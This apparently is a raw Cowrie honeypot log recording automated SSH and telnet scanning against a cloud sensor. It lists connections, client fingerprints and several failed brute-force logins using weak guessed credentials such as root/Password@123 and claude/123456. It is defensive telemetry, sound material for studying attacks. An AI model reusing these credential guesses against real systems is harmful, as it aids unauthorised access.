{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:09.626238Z","src_ip":"176.65.139.103","session":"2012ef66580b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46078,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c31a903edfa","protocol":"telnet","message":"New connection: 23.254.167.244:46078 (159.203.135.109:23) [session: 7c31a903edfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:09.633744Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:10.017584Z","src_ip":"176.65.139.103","session":"2012ef66580b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52560,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d50d422fb7","protocol":"telnet","message":"New connection: 5.189.169.71:52560 (10.17.0.5:23) [session: 43d50d422fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:10.227667Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":43380,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe275b794a1e","protocol":"telnet","message":"New connection: 94.23.163.94:43380 (10.17.0.5:23) [session: fe275b794a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:10.913207Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:11.105065Z","src_ip":"176.65.139.103","session":"2012ef66580b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55162,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b4c86beca09","protocol":"ssh","message":"New connection: 159.203.92.129:55162 (159.203.135.109:22) [session: 2b4c86beca09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:11.363574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:11.368079Z","src_ip":"159.203.92.129","session":"2b4c86beca09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:11.372745Z","src_ip":"159.203.92.129","session":"2b4c86beca09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"1234567890","message":"login attempt [anna/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:11.383745Z","src_ip":"159.203.92.129","session":"2b4c86beca09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:12.464951Z","src_ip":"159.203.92.129","session":"2b4c86beca09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51378,"dst_ip":"159.203.135.109","dst_port":23,"session":"f076a370edba","protocol":"telnet","message":"New connection: 23.254.167.244:51378 (159.203.135.109:23) [session: f076a370edba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:13.409756Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":52576,"dst_ip":"10.17.0.5","dst_port":23,"session":"791337a14af7","protocol":"telnet","message":"New connection: 5.189.169.71:52576 (10.17.0.5:23) [session: 791337a14af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:13.595844Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53328,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ac56391eeca","protocol":"telnet","message":"New connection: 23.254.167.244:53328 (159.203.135.109:23) [session: 2ac56391eeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:15.716283Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53640,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ecf9dd0fd4","protocol":"ssh","message":"New connection: 176.65.139.103:53640 (10.17.0.5:22) [session: a1ecf9dd0fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:16.374162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:16.379177Z","src_ip":"176.65.139.103","session":"a1ecf9dd0fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:16.462084Z","src_ip":"176.65.139.103","session":"a1ecf9dd0fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":48636,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec14b0d14bbd","protocol":"ssh","message":"New connection: 20.244.18.126:48636 (10.17.0.5:22) [session: ec14b0d14bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:16.641134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:16.645854Z","src_ip":"20.244.18.126","session":"ec14b0d14bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:16.719095Z","src_ip":"176.65.139.103","session":"a1ecf9dd0fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:16.829211Z","src_ip":"20.244.18.126","session":"ec14b0d14bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54634,"dst_ip":"159.203.135.109","dst_port":23,"session":"111270de9a91","protocol":"telnet","message":"New connection: 23.254.167.244:54634 (159.203.135.109:23) [session: 111270de9a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:17.116635Z"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1234567","message":"login attempt [user2/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:17.593530Z","src_ip":"20.244.18.126","session":"ec14b0d14bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:17.878484Z","src_ip":"176.65.139.103","session":"a1ecf9dd0fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:18.778666Z","src_ip":"20.244.18.126","session":"ec14b0d14bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":52980,"dst_ip":"10.17.0.5","dst_port":23,"session":"b67ffe91965b","protocol":"telnet","message":"New connection: 94.23.163.94:52980 (10.17.0.5:23) [session: b67ffe91965b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:21.915842Z"}
{"eventid":"cowrie.session.closed","duration":30.55760407447815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:22.062930Z","src_ip":"5.189.169.71","session":"ea646daa255d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":52994,"dst_ip":"10.17.0.5","dst_port":23,"session":"c483f098ec52","protocol":"telnet","message":"New connection: 94.23.163.94:52994 (10.17.0.5:23) [session: c483f098ec52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:22.364060Z"}
{"eventid":"cowrie.session.closed","duration":30.977513074874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:22.477737Z","src_ip":"94.23.163.94","session":"90a57cb2269d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53652,"dst_ip":"10.17.0.5","dst_port":22,"session":"474ce4d73f5c","protocol":"ssh","message":"New connection: 176.65.139.103:53652 (10.17.0.5:22) [session: 474ce4d73f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:22.669201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:22.674953Z","src_ip":"176.65.139.103","session":"474ce4d73f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:22.759071Z","src_ip":"176.65.139.103","session":"474ce4d73f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:23.086915Z","src_ip":"176.65.139.103","session":"474ce4d73f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":51292,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eeed63b5a17","protocol":"telnet","message":"New connection: 5.189.169.71:51292 (10.17.0.5:23) [session: 7eeed63b5a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:23.855795Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":51300,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cc5f37e7e6f","protocol":"telnet","message":"New connection: 5.189.169.71:51300 (10.17.0.5:23) [session: 8cc5f37e7e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:23.952847Z"}
{"eventid":"cowrie.session.closed","duration":30.82371163368225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:24.074345Z","src_ip":"5.189.169.71","session":"43cbf63b0e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:24.178711Z","src_ip":"176.65.139.103","session":"474ce4d73f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.38.163.60","src_port":33236,"dst_ip":"159.203.135.109","dst_port":23,"session":"52c010833ee2","protocol":"telnet","message":"New connection: 54.38.163.60:33236 (159.203.135.109:23) [session: 52c010833ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:24.248013Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":51304,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5e21fde7d54","protocol":"telnet","message":"New connection: 5.189.169.71:51304 (10.17.0.5:23) [session: f5e21fde7d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:24.958108Z"}
{"eventid":"cowrie.session.closed","duration":30.823551177978516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:25.168457Z","src_ip":"5.189.169.71","session":"aa8ececb6cf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38426,"dst_ip":"159.203.135.109","dst_port":23,"session":"567fa63de966","protocol":"telnet","message":"New connection: 23.254.167.244:38426 (159.203.135.109:23) [session: 567fa63de966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:25.473376Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48042,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9871110872","protocol":"telnet","message":"New connection: 94.23.163.94:48042 (10.17.0.5:23) [session: 5b9871110872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:25.800994Z"}
{"eventid":"cowrie.session.closed","duration":31.137499809265137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:26.105062Z","src_ip":"5.189.169.71","session":"2a3445ad01f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891682386398315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:26.300981Z","src_ip":"94.23.163.94","session":"37a68ecdc8e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707048416137695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:27.101454Z","src_ip":"65.108.71.177","session":"8d61192bee45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742257833480835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:28.103907Z","src_ip":"5.189.169.71","session":"c9fa037ee219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607857704162598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:28.214787Z","src_ip":"5.189.169.71","session":"82c90bf9d3e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37760,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4a99fb45ade","protocol":"ssh","message":"New connection: 176.65.139.103:37760 (10.17.0.5:22) [session: b4a99fb45ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:29.124375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:29.128061Z","src_ip":"176.65.139.103","session":"b4a99fb45ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:29.215211Z","src_ip":"176.65.139.103","session":"b4a99fb45ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48052,"dst_ip":"10.17.0.5","dst_port":23,"session":"f06583894575","protocol":"telnet","message":"New connection: 94.23.163.94:48052 (10.17.0.5:23) [session: f06583894575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:27:29.300806Z"}
